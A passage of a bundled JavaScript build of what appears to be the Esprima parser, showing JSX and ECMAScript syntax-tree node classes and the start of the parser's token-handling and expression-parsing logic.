jsx_syntax_1.JSXSyntax.JSXEmptyExpression; } return JSXEmptyExpression; }()); exports.JSXEmptyExpression = JSXEmptyExpression; var JSXExpressionContainer = (function () { function JSXExpressionContainer(expression) { this.type = jsx_syntax_1.JSXSyntax.JSXExpressionContainer; this.expression = expression; } return JSXExpressionContainer; }()); exports.JSXExpressionContainer = JSXExpressionContainer; var JSXIdentifier = (function () { function JSXIdentifier(name) { this.type = jsx_syntax_1.JSXSyntax.JSXIdentifier; this.name = name; } return JSXIdentifier; }()); exports.JSXIdentifier = JSXIdentifier; var JSXMemberExpression = (function () { function JSXMemberExpression(object, property) { this.type = jsx_syntax_1.JSXSyntax.JSXMemberExpression; this.object = object; this.property = property; } return JSXMemberExpression; }()); exports.JSXMemberExpression = JSXMemberExpression; var JSXAttribute = (function () { function JSXAttribute(name, value) { this.type = jsx_syntax_1.JSXSyntax.JSXAttribute; this.name = name; this.value = value; } return JSXAttribute; }()); exports.JSXAttribute = JSXAttribute; var JSXNamespacedName = (function () { function JSXNamespacedName(namespace, name) { this.type = jsx_syntax_1.JSXSyntax.JSXNamespacedName; this.namespace = namespace; this.name = name; } return JSXNamespacedName; }()); exports.JSXNamespacedName = JSXNamespacedName; var JSXOpeningElement = (function () { function JSXOpeningElement(name, selfClosing, attributes) { this.type = jsx_syntax_1.JSXSyntax.JSXOpeningElement; this.name = name; this.selfClosing = selfClosing; this.attributes = attributes; } return JSXOpeningElement; }()); exports.JSXOpeningElement = JSXOpeningElement; var JSXSpreadAttribute = (function () { function JSXSpreadAttribute(argument) { this.type = jsx_syntax_1.JSXSyntax.JSXSpreadAttribute; this.argument = argument; } return JSXSpreadAttribute; }()); exports.JSXSpreadAttribute = JSXSpreadAttribute; var JSXText = (function () { function JSXText(value, raw) { this.type = jsx_syntax_1.JSXSyntax.JSXText; this.value = value; this.raw = raw; } return JSXText; }()); exports.JSXText = JSXText; /***/ }, /* 6 */ /***/ function(module, exports) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.JSXSyntax = { JSXAttribute: 'JSXAttribute', JSXClosingElement: 'JSXClosingElement', JSXElement: 'JSXElement', JSXEmptyExpression: 'JSXEmptyExpression', JSXExpressionContainer: 'JSXExpressionContainer', JSXIdentifier: 'JSXIdentifier', JSXMemberExpression: 'JSXMemberExpression', JSXNamespacedName: 'JSXNamespacedName', JSXOpeningElement: 'JSXOpeningElement', JSXSpreadAttribute: 'JSXSpreadAttribute', JSXText: 'JSXText' }; /***/ }, /* 7 */ /***/ function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var syntax_1 = __webpack_require__(2); /* tslint:disable:max-classes-per-file */ var ArrayExpression = (function () { function ArrayExpression(elements) { this.type = syntax_1.Syntax.ArrayExpression; this.elements = elements; } return ArrayExpression; }()); exports.ArrayExpression = ArrayExpression; var ArrayPattern = (function () { function ArrayPattern(elements) { this.type = syntax_1.Syntax.ArrayPattern; this.elements = elements; } return ArrayPattern; }()); exports.ArrayPattern = ArrayPattern; var ArrowFunctionExpression = (function () { function ArrowFunctionExpression(params, body, expression) { this.type = syntax_1.Syntax.ArrowFunctionExpression; this.id = null; this.params = params; this.body = body; this.generator = false; this.expression = expression; this.async = false; } return ArrowFunctionExpression; }()); exports.ArrowFunctionExpression = ArrowFunctionExpression; var AssignmentExpression = (function () { function AssignmentExpression(operator, left, right) { this.type = syntax_1.Syntax.AssignmentExpression; this.operator = operator; this.left = left; this.right = right; } return AssignmentExpression; }()); exports.AssignmentExpression = AssignmentExpression; var AssignmentPattern = (function () { function AssignmentPattern(left, right) { this.type = syntax_1.Syntax.AssignmentPattern; this.left = left; this.right = right; } return AssignmentPattern; }()); exports.AssignmentPattern = AssignmentPattern; var AsyncArrowFunctionExpression = (function () { function AsyncArrowFunctionExpression(params, body, expression) { this.type = syntax_1.Syntax.ArrowFunctionExpression; this.id = null; this.params = params; this.body = body; this.generator = false; this.expression = expression; this.async = true; } return AsyncArrowFunctionExpression; }()); exports.AsyncArrowFunctionExpression = AsyncArrowFunctionExpression; var AsyncFunctionDeclaration = (function () { function AsyncFunctionDeclaration(id, params, body) { this.type = syntax_1.Syntax.FunctionDeclaration; this.id = id; this.params = params; this.body = body; this.generator = false; this.expression = false; this.async = true; } return AsyncFunctionDeclaration; }()); exports.AsyncFunctionDeclaration = AsyncFunctionDeclaration; var AsyncFunctionExpression = (function () { function AsyncFunctionExpression(id, params, body) { this.type = syntax_1.Syntax.FunctionExpression; this.id = id; this.params = params; this.body = body; this.generator = false; this.expression = false; this.async = true; } return AsyncFunctionExpression; }()); exports.AsyncFunctionExpression = AsyncFunctionExpression; var AwaitExpression = (function () { function AwaitExpression(argument) { this.type = syntax_1.Syntax.AwaitExpression; this.argument = argument; } return AwaitExpression; }()); exports.AwaitExpression = AwaitExpression; var BinaryExpression = (function () { function BinaryExpression(operator, left, right) { var logical = (operator === '||' || operator === '&&'); this.type = logical ? syntax_1.Syntax.LogicalExpression : syntax_1.Syntax.BinaryExpression; this.operator = operator; this.left = left; this.right = right; } return BinaryExpression; }()); exports.BinaryExpression = BinaryExpression; var BlockStatement = (function () { function BlockStatement(body) { this.type = syntax_1.Syntax.BlockStatement; this.body = body; } return BlockStatement; }()); exports.BlockStatement = BlockStatement; var BreakStatement = (function () { function BreakStatement(label) { this.type = syntax_1.Syntax.BreakStatement; this.label = label; } return BreakStatement; }()); exports.BreakStatement = BreakStatement; var CallExpression = (function () { function CallExpression(callee, args) { this.type = syntax_1.Syntax.CallExpression; this.callee = callee; this.arguments = args; } return CallExpression; }()); exports.CallExpression = CallExpression; var CatchClause = (function () { function CatchClause(param, body) { this.type = syntax_1.Syntax.CatchClause; this.param = param; this.body = body; } return CatchClause; }()); exports.CatchClause = CatchClause; var ClassBody = (function () { function ClassBody(body) { this.type = syntax_1.Syntax.ClassBody; this.body = body; } return ClassBody; }()); exports.ClassBody = ClassBody; var ClassDeclaration = (function () { function ClassDeclaration(id, superClass, body) { this.type = syntax_1.Syntax.ClassDeclaration; this.id = id; this.superClass = superClass; this.body = body; } return ClassDeclaration; }()); exports.ClassDeclaration = ClassDeclaration; var ClassExpression = (function () { function ClassExpression(id, superClass, body) { this.type = syntax_1.Syntax.ClassExpression; this.id = id; this.superClass = superClass; this.body = body; } return ClassExpression; }()); exports.ClassExpression = ClassExpression; var ComputedMemberExpression = (function () { function ComputedMemberExpression(object, property) { this.type = syntax_1.Syntax.MemberExpression; this.computed = true; this.object = object; this.property = property; } return ComputedMemberExpression; }()); exports.ComputedMemberExpression = ComputedMemberExpression; var ConditionalExpression = (function () { function ConditionalExpression(test, consequent, alternate) { this.type = syntax_1.Syntax.ConditionalExpression; this.test = test; this.consequent = consequent; this.alternate = alternate; } return ConditionalExpression; }()); exports.ConditionalExpression = ConditionalExpression; var ContinueStatement = (function () { function ContinueStatement(label) { this.type = syntax_1.Syntax.ContinueStatement; this.label = label; } return ContinueStatement; }()); exports.ContinueStatement = ContinueStatement; var DebuggerStatement = (function () { function DebuggerStatement() { this.type = syntax_1.Syntax.DebuggerStatement; } return DebuggerStatement; }()); exports.DebuggerStatement = DebuggerStatement; var Directive = (function () { function Directive(expression, directive) { this.type = syntax_1.Syntax.ExpressionStatement; this.expression = expression; this.directive = directive; } return Directive; }()); exports.Directive = Directive; var DoWhileStatement = (function () { function DoWhileStatement(body, test) { this.type = syntax_1.Syntax.DoWhileStatement; this.body = body; this.test = test; } return DoWhileStatement; }()); exports.DoWhileStatement = DoWhileStatement; var EmptyStatement = (function () { function EmptyStatement() { this.type = syntax_1.Syntax.EmptyStatement; } return EmptyStatement; }()); exports.EmptyStatement = EmptyStatement; var ExportAllDeclaration = (function () { function ExportAllDeclaration(source) { this.type = syntax_1.Syntax.ExportAllDeclaration; this.source = source; } return ExportAllDeclaration; }()); exports.ExportAllDeclaration = ExportAllDeclaration; var ExportDefaultDeclaration = (function () { function ExportDefaultDeclaration(declaration) { this.type = syntax_1.Syntax.ExportDefaultDeclaration; this.declaration = declaration; } return ExportDefaultDeclaration; }()); exports.ExportDefaultDeclaration = ExportDefaultDeclaration; var ExportNamedDeclaration = (function () { function ExportNamedDeclaration(declaration, specifiers, source) { this.type = syntax_1.Syntax.ExportNamedDeclaration; this.declaration = declaration; this.specifiers = specifiers; this.source = source; } return ExportNamedDeclaration; }()); exports.ExportNamedDeclaration = ExportNamedDeclaration; var ExportSpecifier = (function () { function ExportSpecifier(local, exported) { this.type = syntax_1.Syntax.ExportSpecifier; this.exported = exported; this.local = local; } return ExportSpecifier; }()); exports.ExportSpecifier = ExportSpecifier; var ExpressionStatement = (function () { function ExpressionStatement(expression) { this.type = syntax_1.Syntax.ExpressionStatement; this.expression = expression; } return ExpressionStatement; }()); exports.ExpressionStatement = ExpressionStatement; var ForInStatement = (function () { function ForInStatement(left, right, body) { this.type = syntax_1.Syntax.ForInStatement; this.left = left; this.right = right; this.body = body; this.each = false; } return ForInStatement; }()); exports.ForInStatement = ForInStatement; var ForOfStatement = (function () { function ForOfStatement(left, right, body) { this.type = syntax_1.Syntax.ForOfStatement; this.left = left; this.right = right; this.body = body; } return ForOfStatement; }()); exports.ForOfStatement = ForOfStatement; var ForStatement = (function () { function ForStatement(init, test, update, body) { this.type = syntax_1.Syntax.ForStatement; this.init = init; this.test = test; this.update = update; this.body = body; } return ForStatement; }()); exports.ForStatement = ForStatement; var FunctionDeclaration = (function () { function FunctionDeclaration(id, params, body, generator) { this.type = syntax_1.Syntax.FunctionDeclaration; this.id = id; this.params = params; this.body = body; this.generator = generator; this.expression = false; this.async = false; } return FunctionDeclaration; }()); exports.FunctionDeclaration = FunctionDeclaration; var FunctionExpression = (function () { function FunctionExpression(id, params, body, generator) { this.type = syntax_1.Syntax.FunctionExpression; this.id = id; this.params = params; this.body = body; this.generator = generator; this.expression = false; this.async = false; } return FunctionExpression; }()); exports.FunctionExpression = FunctionExpression; var Identifier = (function () { function Identifier(name) { this.type = syntax_1.Syntax.Identifier; this.name = name; } return Identifier; }()); exports.Identifier = Identifier; var IfStatement = (function () { function IfStatement(test, consequent, alternate) { this.type = syntax_1.Syntax.IfStatement; this.test = test; this.consequent = consequent; this.alternate = alternate; } return IfStatement; }()); exports.IfStatement = IfStatement; var ImportDeclaration = (function () { function ImportDeclaration(specifiers, source) { this.type = syntax_1.Syntax.ImportDeclaration; this.specifiers = specifiers; this.source = source; } return ImportDeclaration; }()); exports.ImportDeclaration = ImportDeclaration; var ImportDefaultSpecifier = (function () { function ImportDefaultSpecifier(local) { this.type = syntax_1.Syntax.ImportDefaultSpecifier; this.local = local; } return ImportDefaultSpecifier; }()); exports.ImportDefaultSpecifier = ImportDefaultSpecifier; var ImportNamespaceSpecifier = (function () { function ImportNamespaceSpecifier(local) { this.type = syntax_1.Syntax.ImportNamespaceSpecifier; this.local = local; } return ImportNamespaceSpecifier; }()); exports.ImportNamespaceSpecifier = ImportNamespaceSpecifier; var ImportSpecifier = (function () { function ImportSpecifier(local, imported) { this.type = syntax_1.Syntax.ImportSpecifier; this.local = local; this.imported = imported; } return ImportSpecifier; }()); exports.ImportSpecifier = ImportSpecifier; var LabeledStatement = (function () { function LabeledStatement(label, body) { this.type = syntax_1.Syntax.LabeledStatement; this.label = label; this.body = body; } return LabeledStatement; }()); exports.LabeledStatement = LabeledStatement; var Literal = (function () { function Literal(value, raw) { this.type = syntax_1.Syntax.Literal; this.value = value; this.raw = raw; } return Literal; }()); exports.Literal = Literal; var MetaProperty = (function () { function MetaProperty(meta, property) { this.type = syntax_1.Syntax.MetaProperty; this.meta = meta; this.property = property; } return MetaProperty; }()); exports.MetaProperty = MetaProperty; var MethodDefinition = (function () { function MethodDefinition(key, computed, value, kind, isStatic) { this.type = syntax_1.Syntax.MethodDefinition; this.key = key; this.computed = computed; this.value = value; this.kind = kind; this.static = isStatic; } return MethodDefinition; }()); exports.MethodDefinition = MethodDefinition; var Module = (function () { function Module(body) { this.type = syntax_1.Syntax.Program; this.body = body; this.sourceType = 'module'; } return Module; }()); exports.Module = Module; var NewExpression = (function () { function NewExpression(callee, args) { this.type = syntax_1.Syntax.NewExpression; this.callee = callee; this.arguments = args; } return NewExpression; }()); exports.NewExpression = NewExpression; var ObjectExpression = (function () { function ObjectExpression(properties) { this.type = syntax_1.Syntax.ObjectExpression; this.properties = properties; } return ObjectExpression; }()); exports.ObjectExpression = ObjectExpression; var ObjectPattern = (function () { function ObjectPattern(properties) { this.type = syntax_1.Syntax.ObjectPattern; this.properties = properties; } return ObjectPattern; }()); exports.ObjectPattern = ObjectPattern; var Property = (function () { function Property(kind, key, computed, value, method, shorthand) { this.type = syntax_1.Syntax.Property; this.key = key; this.computed = computed; this.value = value; this.kind = kind; this.method = method; this.shorthand = shorthand; } return Property; }()); exports.Property = Property; var RegexLiteral = (function () { function RegexLiteral(value, raw, pattern, flags) { this.type = syntax_1.Syntax.Literal; this.value = value; this.raw = raw; this.regex = { pattern: pattern, flags: flags }; } return RegexLiteral; }()); exports.RegexLiteral = RegexLiteral; var RestElement = (function () { function RestElement(argument) { this.type = syntax_1.Syntax.RestElement; this.argument = argument; } return RestElement; }()); exports.RestElement = RestElement; var ReturnStatement = (function () { function ReturnStatement(argument) { this.type = syntax_1.Syntax.ReturnStatement; this.argument = argument; } return ReturnStatement; }()); exports.ReturnStatement = ReturnStatement; var Script = (function () { function Script(body) { this.type = syntax_1.Syntax.Program; this.body = body; this.sourceType = 'script'; } return Script; }()); exports.Script = Script; var SequenceExpression = (function () { function SequenceExpression(expressions) { this.type = syntax_1.Syntax.SequenceExpression; this.expressions = expressions; } return SequenceExpression; }()); exports.SequenceExpression = SequenceExpression; var SpreadElement = (function () { function SpreadElement(argument) { this.type = syntax_1.Syntax.SpreadElement; this.argument = argument; } return SpreadElement; }()); exports.SpreadElement = SpreadElement; var StaticMemberExpression = (function () { function StaticMemberExpression(object, property) { this.type = syntax_1.Syntax.MemberExpression; this.computed = false; this.object = object; this.property = property; } return StaticMemberExpression; }()); exports.StaticMemberExpression = StaticMemberExpression; var Super = (function () { function Super() { this.type = syntax_1.Syntax.Super; } return Super; }()); exports.Super = Super; var SwitchCase = (function () { function SwitchCase(test, consequent) { this.type = syntax_1.Syntax.SwitchCase; this.test = test; this.consequent = consequent; } return SwitchCase; }()); exports.SwitchCase = SwitchCase; var SwitchStatement = (function () { function SwitchStatement(discriminant, cases) { this.type = syntax_1.Syntax.SwitchStatement; this.discriminant = discriminant; this.cases = cases; } return SwitchStatement; }()); exports.SwitchStatement = SwitchStatement; var TaggedTemplateExpression = (function () { function TaggedTemplateExpression(tag, quasi) { this.type = syntax_1.Syntax.TaggedTemplateExpression; this.tag = tag; this.quasi = quasi; } return TaggedTemplateExpression; }()); exports.TaggedTemplateExpression = TaggedTemplateExpression; var TemplateElement = (function () { function TemplateElement(value, tail) { this.type = syntax_1.Syntax.TemplateElement; this.value = value; this.tail = tail; } return TemplateElement; }()); exports.TemplateElement = TemplateElement; var TemplateLiteral = (function () { function TemplateLiteral(quasis, expressions) { this.type = syntax_1.Syntax.TemplateLiteral; this.quasis = quasis; this.expressions = expressions; } return TemplateLiteral; }()); exports.TemplateLiteral = TemplateLiteral; var ThisExpression = (function () { function ThisExpression() { this.type = syntax_1.Syntax.ThisExpression; } return ThisExpression; }()); exports.ThisExpression = ThisExpression; var ThrowStatement = (function () { function ThrowStatement(argument) { this.type = syntax_1.Syntax.ThrowStatement; this.argument = argument; } return ThrowStatement; }()); exports.ThrowStatement = ThrowStatement; var TryStatement = (function () { function TryStatement(block, handler, finalizer) { this.type = syntax_1.Syntax.TryStatement; this.block = block; this.handler = handler; this.finalizer = finalizer; } return TryStatement; }()); exports.TryStatement = TryStatement; var UnaryExpression = (function () { function UnaryExpression(operator, argument) { this.type = syntax_1.Syntax.UnaryExpression; this.operator = operator; this.argument = argument; this.prefix = true; } return UnaryExpression; }()); exports.UnaryExpression = UnaryExpression; var UpdateExpression = (function () { function UpdateExpression(operator, argument, prefix) { this.type = syntax_1.Syntax.UpdateExpression; this.operator = operator; this.argument = argument; this.prefix = prefix; } return UpdateExpression; }()); exports.UpdateExpression = UpdateExpression; var VariableDeclaration = (function () { function VariableDeclaration(declarations, kind) { this.type = syntax_1.Syntax.VariableDeclaration; this.declarations = declarations; this.kind = kind; } return VariableDeclaration; }()); exports.VariableDeclaration = VariableDeclaration; var VariableDeclarator = (function () { function VariableDeclarator(id, init) { this.type = syntax_1.Syntax.VariableDeclarator; this.id = id; this.init = init; } return VariableDeclarator; }()); exports.VariableDeclarator = VariableDeclarator; var WhileStatement = (function () { function WhileStatement(test, body) { this.type = syntax_1.Syntax.WhileStatement; this.test = test; this.body = body; } return WhileStatement; }()); exports.WhileStatement = WhileStatement; var WithStatement = (function () { function WithStatement(object, body) { this.type = syntax_1.Syntax.WithStatement; this.object = object; this.body = body; } return WithStatement; }()); exports.WithStatement = WithStatement; var YieldExpression = (function () { function YieldExpression(argument, delegate) { this.type = syntax_1.Syntax.YieldExpression; this.argument = argument; this.delegate = delegate; } return YieldExpression; }()); exports.YieldExpression = YieldExpression; /***/ }, /* 8 */ /***/ function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var assert_1 = __webpack_require__(9); var error_handler_1 = __webpack_require__(10); var messages_1 = __webpack_require__(11); var Node = __webpack_require__(7); var scanner_1 = __webpack_require__(12); var syntax_1 = __webpack_require__(2); var token_1 = __webpack_require__(13); var ArrowParameterPlaceHolder = 'ArrowParameterPlaceHolder'; var Parser = (function () { function Parser(code, options, delegate) { if (options === void 0) { options = {}; } this.config = { range: (typeof options.range === 'boolean') && options.range, loc: (typeof options.loc === 'boolean') && options.loc, source: null, tokens: (typeof options.tokens === 'boolean') && options.tokens, comment: (typeof options.comment === 'boolean') && options.comment, tolerant: (typeof options.tolerant === 'boolean') && options.tolerant }; if (this.config.loc && options.source && options.source !== null) { this.config.source = String(options.source); } this.delegate = delegate; this.errorHandler = new error_handler_1.ErrorHandler(); this.errorHandler.tolerant = this.config.tolerant; this.scanner = new scanner_1.Scanner(code, this.errorHandler); this.scanner.trackComment = this.config.comment; this.operatorPrecedence = { ')': 0, ';': 0, ',': 0, '=': 0, ']': 0, '||': 1, '&&': 2, '|': 3, '^': 4, '&': 5, '==': 6, '!=': 6, '===': 6, '!==': 6, '<': 7, '>': 7, '<=': 7, '>=': 7, '<<': 8, '>>': 8, '>>>': 8, '+': 9, '-': 9, '*': 11, '/': 11, '%': 11 }; this.lookahead = { type: 2 /* EOF */, value: '', lineNumber: this.scanner.lineNumber, lineStart: 0, start: 0, end: 0 }; this.hasLineTerminator = false; this.context = { isModule: false, await: false, allowIn: true, allowStrictDirective: true, allowYield: true, firstCoverInitializedNameError: null, isAssignmentTarget: false, isBindingElement: false, inFunctionBody: false, inIteration: false, inSwitch: false, labelSet: {}, strict: false }; this.tokens = []; this.startMarker = { index: 0, line: this.scanner.lineNumber, column: 0 }; this.lastMarker = { index: 0, line: this.scanner.lineNumber, column: 0 }; this.nextToken(); this.lastMarker = { index: this.scanner.index, line: this.scanner.lineNumber, column: this.scanner.index - this.scanner.lineStart }; } Parser.prototype.throwError = function (messageFormat) { var values = []; for (var _i = 1; _i < arguments.length; _i++) { values[_i - 1] = arguments[_i]; } var args = Array.prototype.slice.call(arguments, 1); var msg = messageFormat.replace(/%(\d)/g, function (whole, idx) { assert_1.assert(idx < args.length, 'Message reference must be in range'); return args[idx]; }); var index = this.lastMarker.index; var line = this.lastMarker.line; var column = this.lastMarker.column + 1; throw this.errorHandler.createError(index, line, column, msg); }; Parser.prototype.tolerateError = function (messageFormat) { var values = []; for (var _i = 1; _i < arguments.length; _i++) { values[_i - 1] = arguments[_i]; } var args = Array.prototype.slice.call(arguments, 1); var msg = messageFormat.replace(/%(\d)/g, function (whole, idx) { assert_1.assert(idx < args.length, 'Message reference must be in range'); return args[idx]; }); var index = this.lastMarker.index; var line = this.scanner.lineNumber; var column = this.lastMarker.column + 1; this.errorHandler.tolerateError(index, line, column, msg); }; // Throw an exception because of the token. Parser.prototype.unexpectedTokenError = function (token, message) { var msg = message || messages_1.Messages.UnexpectedToken; var value; if (token) { if (!message) { msg = (token.type === 2 /* EOF */) ? messages_1.Messages.UnexpectedEOS : (token.type === 3 /* Identifier */) ? messages_1.Messages.UnexpectedIdentifier : (token.type === 6 /* NumericLiteral */) ? messages_1.Messages.UnexpectedNumber : (token.type === 8 /* StringLiteral */) ? messages_1.Messages.UnexpectedString : (token.type === 10 /* Template */) ? messages_1.Messages.UnexpectedTemplate : messages_1.Messages.UnexpectedToken; if (token.type === 4 /* Keyword */) { if (this.scanner.isFutureReservedWord(token.value)) { msg = messages_1.Messages.UnexpectedReserved; } else if (this.context.strict && this.scanner.isStrictModeReservedWord(token.value)) { msg = messages_1.Messages.StrictReservedWord; } } } value = token.value; } else { value = 'ILLEGAL'; } msg = msg.replace('%0', value); if (token && typeof token.lineNumber === 'number') { var index = token.start; var line = token.lineNumber; var lastMarkerLineStart = this.lastMarker.index - this.lastMarker.column; var column = token.start - lastMarkerLineStart + 1; return this.errorHandler.createError(index, line, column, msg); } else { var index = this.lastMarker.index; var line = this.lastMarker.line; var column = this.lastMarker.column + 1; return this.errorHandler.createError(index, line, column, msg); } }; Parser.prototype.throwUnexpectedToken = function (token, message) { throw this.unexpectedTokenError(token, message); }; Parser.prototype.tolerateUnexpectedToken = function (token, message) { this.errorHandler.tolerate(this.unexpectedTokenError(token, message)); }; Parser.prototype.collectComments = function () { if (!this.config.comment) { this.scanner.scanComments(); } else { var comments = this.scanner.scanComments(); if (comments.length > 0 && this.delegate) { for (var i = 0; i < comments.length; ++i) { var e = comments[i]; var node = void 0; node = { type: e.multiLine ? 'BlockComment' : 'LineComment', value: this.scanner.source.slice(e.slice[0], e.slice[1]) }; if (this.config.range) { node.range = e.range; } if (this.config.loc) { node.loc = e.loc; } var metadata = { start: { line: e.loc.start.line, column: e.loc.start.column, offset: e.range[0] }, end: { line: e.loc.end.line, column: e.loc.end.column, offset: e.range[1] } }; this.delegate(node, metadata); } } } }; // From internal representation to an external structure Parser.prototype.getTokenRaw = function (token) { return this.scanner.source.slice(token.start, token.end); }; Parser.prototype.convertToken = function (token) { var t = { type: token_1.TokenName[token.type], value: this.getTokenRaw(token) }; if (this.config.range) { t.range = [token.start, token.end]; } if (this.config.loc) { t.loc = { start: { line: this.startMarker.line, column: this.startMarker.column }, end: { line: this.scanner.lineNumber, column: this.scanner.index - this.scanner.lineStart } }; } if (token.type === 9 /* RegularExpression */) { var pattern = token.pattern; var flags = token.flags; t.regex = { pattern: pattern, flags: flags }; } return t; }; Parser.prototype.nextToken = function () { var token = this.lookahead; this.lastMarker.index = this.scanner.index; this.lastMarker.line = this.scanner.lineNumber; this.lastMarker.column = this.scanner.index - this.scanner.lineStart; this.collectComments(); if (this.scanner.index !== this.startMarker.index) { this.startMarker.index = this.scanner.index; this.startMarker.line = this.scanner.lineNumber; this.startMarker.column = this.scanner.index - this.scanner.lineStart; } var next = this.scanner.lex(); this.hasLineTerminator = (token.lineNumber !== next.lineNumber); if (next && this.context.strict && next.type === 3 /* Identifier */) { if (this.scanner.isStrictModeReservedWord(next.value)) { next.type = 4 /* Keyword */; } } this.lookahead = next; if (this.config.tokens && next.type !== 2 /* EOF */) { this.tokens.push(this.convertToken(next)); } return token; }; Parser.prototype.nextRegexToken = function () { this.collectComments(); var token = this.scanner.scanRegExp(); if (this.config.tokens) { // Pop the previous token, '/' or '/=' // This is added from the lookahead token. this.tokens.pop(); this.tokens.push(this.convertToken(token)); } // Prime the next lookahead. this.lookahead = token; this.nextToken(); return token; }; Parser.prototype.createNode = function () { return { index: this.startMarker.index, line: this.startMarker.line, column: this.startMarker.column }; }; Parser.prototype.startNode = function (token) { return { index: token.start, line: token.lineNumber, column: token.start - token.lineStart }; }; Parser.prototype.finalize = function (marker, node) { if (this.config.range) { node.range = [marker.index, this.lastMarker.index]; } if (this.config.loc) { node.loc = { start: { line: marker.line, column: marker.column, }, end: { line: this.lastMarker.line, column: this.lastMarker.column } }; if (this.config.source) { node.loc.source = this.config.source; } } if (this.delegate) { var metadata = { start: { line: marker.line, column: marker.column, offset: marker.index }, end: { line: this.lastMarker.line, column: this.lastMarker.column, offset: this.lastMarker.index } }; this.delegate(node, metadata); } return node; }; // Expect the next token to match the specified punctuator. // If not, an exception will be thrown. Parser.prototype.expect = function (value) { var token = this.nextToken(); if (token.type !== 7 /* Punctuator */ || token.value !== value) { this.throwUnexpectedToken(token); } }; // Quietly expect a comma when in tolerant mode, otherwise delegates to expect(). Parser.prototype.expectCommaSeparator = function () { if (this.config.tolerant) { var token = this.lookahead; if (token.type === 7 /* Punctuator */ && token.value === ',') { this.nextToken(); } else if (token.type === 7 /* Punctuator */ && token.value === ';') { this.nextToken(); this.tolerateUnexpectedToken(token); } else { this.tolerateUnexpectedToken(token, messages_1.Messages.UnexpectedToken); } } else { this.expect(','); } }; // Expect the next token to match the specified keyword. // If not, an exception will be thrown. Parser.prototype.expectKeyword = function (keyword) { var token = this.nextToken(); if (token.type !== 4 /* Keyword */ || token.value !== keyword) { this.throwUnexpectedToken(token); } }; // Return true if the next token matches the specified punctuator. Parser.prototype.match = function (value) { return this.lookahead.type === 7 /* Punctuator */ && this.lookahead.value === value; }; // Return true if the next token matches the specified keyword Parser.prototype.matchKeyword = function (keyword) { return this.lookahead.type === 4 /* Keyword */ && this.lookahead.value === keyword; }; // Return true if the next token matches the specified contextual keyword // (where an identifier is sometimes a keyword depending on the context) Parser.prototype.matchContextualKeyword = function (keyword) { return this.lookahead.type === 3 /* Identifier */ && this.lookahead.value === keyword; }; // Return true if the next token is an assignment operator Parser.prototype.matchAssign = function () { if (this.lookahead.type !== 7 /* Punctuator */) { return false; } var op = this.lookahead.value; return op === '=' || op === '*=' || op === '**=' || op === '/=' || op === '%=' || op === '+=' || op === '-=' || op === '<<=' || op === '>>=' || op === '>>>=' || op === '&=' || op === '^=' || op === '|='; }; // Cover grammar support. // // When an assignment expression position starts with an left parenthesis, the determination of the type // of the syntax is to be deferred arbitrarily long until the end of the parentheses pair (plus a lookahead) // or the first comma. This situation also defers the determination of all the expressions nested in the pair. // // There are three productions that can be parsed in a parentheses pair that needs to be determined // after the outermost pair is closed. They are: // // 1. AssignmentExpression // 2. BindingElements // 3. AssignmentTargets // // In order to avoid exponential backtracking, we use two flags to denote if the production can be // binding element or assignment target. // // The three productions have the relationship: // // BindingElements ⊆ AssignmentTargets ⊆ AssignmentExpression // // with a single exception that CoverInitializedName when used directly in an Expression, generates // an early error. Therefore, we need the third state, firstCoverInitializedNameError, to track the // first usage of CoverInitializedName and report it when we reached the end of the parentheses pair. // // isolateCoverGrammar function runs the given parser function with a new cover grammar context, and it does not // effect the current flags. This means the production the parser parses is only used as an expression. Therefore // the CoverInitializedName check is conducted. // // inheritCoverGrammar function runs the given parse function with a new cover grammar context, and it propagates // the flags outside of the parser. This means the production the parser parses is used as a part of a potential // pattern. The CoverInitializedName check is deferred. Parser.prototype.isolateCoverGrammar = function (parseFunction) { var previousIsBindingElement = this.context.isBindingElement; var previousIsAssignmentTarget = this.context.isAssignmentTarget; var previousFirstCoverInitializedNameError = this.context.firstCoverInitializedNameError; this.context.isBindingElement = true; this.context.isAssignmentTarget = true; this.context.firstCoverInitializedNameError = null; var result = parseFunction.call(this); if (this.context.firstCoverInitializedNameError !== null) { this.throwUnexpectedToken(this.context.firstCoverInitializedNameError); } this.context.isBindingElement = previousIsBindingElement; this.context.isAssignmentTarget = previousIsAssignmentTarget; this.context.firstCoverInitializedNameError = previousFirstCoverInitializedNameError; return result; }; Parser.prototype.inheritCoverGrammar = function (parseFunction) { var previousIsBindingElement = this.context.isBindingElement; var previousIsAssignmentTarget = this.context.isAssignmentTarget; var previousFirstCoverInitializedNameError = this.context.firstCoverInitializedNameError; this.context.isBindingElement = true; this.context.isAssignmentTarget = true; this.context.firstCoverInitializedNameError = null; var result = parseFunction.call(this); this.context.isBindingElement = this.context.isBindingElement && previousIsBindingElement; this.context.isAssignmentTarget = this.context.isAssignmentTarget && previousIsAssignmentTarget; this.context.firstCoverInitializedNameError = previousFirstCoverInitializedNameError || this.context.firstCoverInitializedNameError; return result; }; Parser.prototype.consumeSemicolon = function () { if (this.match(';')) { this.nextToken(); } else if (!this.hasLineTerminator) { if (this.lookahead.type !== 2 /* EOF */ && !this.match('}')) { this.throwUnexpectedToken(this.lookahead); } this.lastMarker.index = this.startMarker.index; this.lastMarker.line = this.startMarker.line; this.lastMarker.column = this.startMarker.column; } }; // https://tc39.github.io/ecma262/#sec-primary-expression Parser.prototype.parsePrimaryExpression = function () { var node = this.createNode(); var expr; var token, raw; switch (this.lookahead.type) { case 3 /* Identifier */: if ((this.context.isModule || this.context.await) && this.lookahead.value === 'await') { this.tolerateUnexpectedToken(this.lookahead); } expr = this.matchAsyncFunction() ? this.parseFunctionExpression() : this.finalize(node, new Node.Identifier(this.nextToken().value)); break; case 6 /* NumericLiteral */: case 8 /* StringLiteral */: if (this.context.strict && this.lookahead.octal) { this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.StrictOctalLiteral); } this.context.isAssignmentTarget = false; this.context.isBindingElement = false; token = this.nextToken(); raw = this.getTokenRaw(token); expr = this.finalize(node, new Node.Literal(token.value, raw)); break; case 1 /* BooleanLiteral */: this.context.isAssignmentTarget = false; this.context.isBindingElement = false; token = this.nextToken(); raw = this.getTokenRaw(token); expr = this.finalize(node, new Node.Literal(token.value === 'true', raw)); break; case 5 /* NullLiteral */: this.context.isAssignmentTarget = false; this.context.isBindingElement = false; token = this.nextToken(); raw = this.getTokenRaw(token); expr = this.finalize(node, new Node.Literal(null, 